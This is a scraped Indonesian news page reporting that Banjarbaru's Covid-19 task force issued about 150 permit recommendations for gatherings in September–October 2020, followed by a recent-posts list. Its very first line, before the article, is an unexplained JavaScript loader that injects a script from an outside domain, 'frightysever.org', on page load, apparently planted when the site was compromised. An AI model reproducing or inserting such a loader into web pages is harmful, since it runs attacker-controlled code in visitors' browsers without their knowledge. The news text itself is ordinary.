(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Satgas Covid-19 Telah Keluarkan 150 Rekomendasi Izin Kegiatan di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Selama periode September – Oktober, Satuan Tugas (Satgas) Covid-19 Kota Banjarbaru telah mengeluarkan sedikitnya 150 surat rekomendasi izin bagi masyarakat yang akan menggelar kegiatan bersifat mengumpukan orang banyak.

“Sudah ada 150 surat rekomendasi izin yang kita keluarkan. Kegiatan yang kita izinkan kebanyakan acara pernikahan baik itu di hotel, gedung, rumah, maupun di tempat ibadah,” kata Koordinator Sekretariat Satgas Covid-19 Banjarbaru Zaini Syahranie, Selasa (20/10/2020).

Menurut Zaini, pengajuan izin kegiatan di kota Idaman mulai melonjak sejak memasuki Oktober. Menilik data, setidaknya sudah ada 200 surat pengajuan kegiatan yang disampaikan masyarakat maupun pengelola usaha kepada Satgas Covid-19 Banjarbaru.

Namun begitu, tim Satgas sendiri tidak serta merta menyetujui dan mengeluarkan surat izin rekomendasi setiap pelaksanaan kegiatan tersebut.

Sebab dalam hal ini, tim Satgas yang tergabung dari unsur TNI, Polri, Kejaksaan, Satpol PP dan BPBD, lebih dulu akan mengkaji protokol kesehatan yang akan diterapkan pihak penyelenggara.

“Contohnya, bioskop dan kolam renang yang saat ini izin rekomendasinya masih kita pending. Bukan ditolak, tapi kami masih menunggu dari pihak pengelolanya untuk menyanggupi protokol kesehatan yang kita inginkan,” terang Zaini.

Di Banjarbaru, surat izin rekomendasi dari Satgas Covid-19 memang menjadi syarat utama dalam menyelenggarakan kegiatan atau membuka usaha yang sifatnya dapat mengumpulkan orang banyak. Zaini mempersilahkan kepada masyarakat untuk mengajukan izin kegiatan ke pihaknya.

Pada intinya, lanjut Zaini, setiap kegiatan yang melibatkan orang banyak harus mengedepankan penerapan protokol kesehatan Covid-19. Dan jika surat pengajuan izin kegiatan sudah diterima, pihaknya akan mengkaji protokol kesehatan yang diterapkan dalam kegiatan tersebut.

“Bagi masyarakat yang ingin menyelenggarakan kegiatan, silahkan datang ke kantor Sekretariat Satgas Covid-19 yang berlokasi di Balai Pemko Banjarbaru. Lampirkan surat permohonan, surat pernyataan, dan denah lokasi kegiatan. Layanan ini gratis, kami tidak memungut biaya sepeser pun. Permohonan harus diajukan satu minggu sebelum jadwal diselanggarakannya acara,” lugasnya.

Dalam lampiran permohonan, baik masyarakat atau pengelola usaha harus bersedia jika kegiatannya ditutup, tatkala penerapan protokol kesehatan tak sesuai dengan apa yang dilaporkan ke Satgas Covid-19 Banjarbaru. Pasalnya, tim Satgas sendiri akan melakukan pemantauan secara langsung ke lokasi saat pelaksanaan acara nantinya. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

21 menit ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

1 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

2 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

2 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

2 jam ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

10 jam ago

This website uses cookies.